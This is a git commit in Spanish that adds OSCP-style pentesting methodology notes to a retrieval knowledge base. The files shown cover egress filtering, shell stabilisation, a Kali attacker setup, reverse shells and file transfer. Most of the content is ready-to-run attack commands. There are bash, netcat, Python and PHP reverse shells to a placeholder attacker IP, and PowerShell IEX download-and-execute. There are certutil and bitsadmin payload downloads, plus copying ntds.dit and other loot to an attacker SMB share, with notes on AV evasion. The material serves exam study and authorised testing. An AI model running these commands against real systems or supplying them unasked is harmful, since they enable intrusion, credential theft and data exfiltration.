saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
sito 2026-08-16 17:58:41 +02:00
parent 12987539a4
commit 7e06ce46cf
76 changed files with 2682 additions and 8 deletions

View file

@ -0,0 +1,22 @@
# Egress filtering
> El firewall del **objetivo** bloquea ciertos puertos de salida → tu Reverse shell no conecta y crees que el exploit falló.
## Qué probar (puertos de salida)
```
80, 443, 8080, 53, 4444
```
- Si **ninguno** funciona → considera una shell por **ICMP** o canal DNS.
- 53 (DNS) y 443 suelen estar permitidos casi siempre.
## Listener correcto según objetivo
```
nc clásico → víctima Linux
ncat --ssl → evadir IDS
stty raw -echo+nc → Windows ConPtyShell
```
## Regla
Descubre el egress **pronto** (Gestión del tiempo): perder 2h pensando que el exploit no va, cuando es el firewall, es clásico.
Relacionado: Reverse shell · Puesto de mando Kali · OSCP MOC

View file

@ -0,0 +1,23 @@
# Estabilizar shell TTY
> Una shell rota es tortura (sin Ctrl+C, sin flechas, sin `sudo`). Esto la arregla. Sigue a Reverse shell.
## El ritual (Linux)
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z (suspende nc)
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
stty rows 40 columns 120
```
- `rows`/`cols` los sacas con **`stty size`** en TU Kali.
## Windows
- Usa **Invoke-ConPtyShell** (Reverse shell) para una shell interactiva real.
- Listener con `stty raw -echo; (stty size; cat) | nc -lvnp 4444`.
## Por qué
- Sin TTY: muchos exploits de Privesc Linux (los que piden `sudo`/interacción) fallan.
Relacionado: Puesto de mando Kali · OSCP MOC

View file

@ -0,0 +1,27 @@
# Puesto de mando Kali
> **No tienes una GUI central.** Cada herramienta es independiente y habla por red con la víctima.
> Tu Kali = un puesto de mando con varios terminales abiertos a la vez.
## Los 4 terminales
```
Terminal 1 — listener de shells
stty raw -echo; (stty size; cat) | nc -lvnp 4444
Terminal 2 — HTTP para servir tus tools a la víctima
cd tu carpeta
python3 -m http.server 80
Terminal 3 — SMB para que la víctima TE envíe ficheros
mkdir /tmp/loot && cd /tmp/loot
impacket-smbserver loot . -smb2support
Terminal 4 — tu shell de trabajo (nxc, impacket, etc.)
$
```
- Terminal 1 recibe la Reverse shell (estabilízala → Estabilizar shell TTY).
- Terminales 2 y 3 = Transferencia de ficheros (subir tools / exfiltrar loot).
- Terminal 4 = lanzas Impacket, BloodHound, etc.
Relacionado: Egress filtering · OSCP MOC

View file

@ -0,0 +1,34 @@
# Reverse shell
> El foothold: la víctima se conecta de vuelta a tu listener. Recíbela en el Puesto de mando Kali.
## Listener (Kali)
```bash
nc -lvnp 4444 # clásico
# para Windows ConPtyShell, estabilizado:
stty raw -echo; (stty size; cat) | nc -lvnp 4444
```
## Disparo en la víctima
### Windows (PowerShell, interactiva con ConPtyShell)
```powershell
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
```
El script se sirve desde tu HTTP (Transferencia de ficheros).
### Linux (varios lenguajes)
```bash
bash -i >& /dev/tcp/TU_IP/4444 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TU_IP 4444 >/tmp/f # nc sin -e
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
perl -e 'use Socket;...' # cuando solo hay perl
php -r '$s=fsockopen("TU_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```
> Más payloads (war/aspx/jsp, x64, encoders) → genera con msfvenom. Referencia viva: revshells.com.
## Después
- **Estabiliza** la shell → Estabilizar shell TTY.
- Si no conecta, sospecha Egress filtering (prueba 80, 443, 53, 4444).
- Luego: PEASS-ng → Privesc Linux / Privesc Windows.
Relacionado: Egress filtering · msfvenom · Metasploit · OSCP MOC

View file

@ -0,0 +1,58 @@
# Transferencia de ficheros
> **Subes** tools a la víctima y **exfiltras** loot. Montado en el Puesto de mando Kali. Matriz completa: oscp.trastero.org/filetransfer.
## Servidores en tu Kali
```bash
python3 -m http.server 7788 # HTTP
impacket-smbserver -smb2support SERVER $(pwd) # SMB (anónimo)
impacket-smbserver -username u -password p -smb2support SERVER $(pwd) # SMB con auth
python3 -m pyftpdlib --user=u --password=p -w -p 21 # FTP
php -S 0.0.0.0:7788 # PHP
```
## Descargar EN la víctima Windows
```powershell
(New-Object Net.WebClient).DownloadFile('http://TU_IP/f.exe','C:\Windows\Temp\f.exe')
Invoke-WebRequest http://TU_IP/f.exe -OutFile f.exe # iwr
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/x.ps1') # fileless → AV evasion
bitsadmin /transfer job http://TU_IP/f.exe C:\Temp\f.exe
certutil.exe -urlcache -split -f "http://TU_IP/f.exe" f.exe # LOLBin clásico
tftp -i TU_IP get f.exe # (DISM /online /Enable-Feature /FeatureName:TFTP)
```
```cmd
net use x: \\TU_IP\SERVER /user:u p & copy x:\f.exe . # vía SMB
```
## Descargar EN la víctima Linux
```bash
wget http://TU_IP/f -O f ; curl -o f http://TU_IP/f
php -r '$f=file_get_contents("http://TU_IP/f");file_put_contents("f",$f);'
python3 -c "import urllib.request;urllib.request.urlretrieve('http://TU_IP/f','f')"
cat < /dev/tcp/TU_IP/7788 > f # con nc -lvnp 7788 < f en Kali
```
## Exfiltrar de la víctima → Kali
```cmd
copy C:\Windows\NTDS\ntds.dit \\TU_IP\SERVER\ :: SMB (cifra, cruza firewalls) → secretsdump
(New-Object Net.WebClient).UploadFile('http://TU_IP/up.php','loot.zip')
```
```bash
scp loot.tar user@TU_IP:/tmp/ # si hay SSH
```
## Sin red: copy-paste por base64
```bash
base64 -w0 f.bin # en origen, copias el string
echo "BASE64..." | base64 -d > f.bin # en destino, pegas
# Windows: certutil -encode f.bin b64.txt / certutil -decode b64.txt f.bin
```
Útil cuando solo tienes una shell de texto (Estabilizar shell TTY) o vía RDP `/clipboard`.
## Cifrado (canal vigilado)
```bash
openssl enc -base64 -in f -out f.b64 # ofuscar
openssl s_server -quiet -accept 7788 -cert c.pem -key k.pem < f # transferencia TLS
```
Relacionado: Egress filtering · Tunneling · Herramientas (índice) · OSCP MOC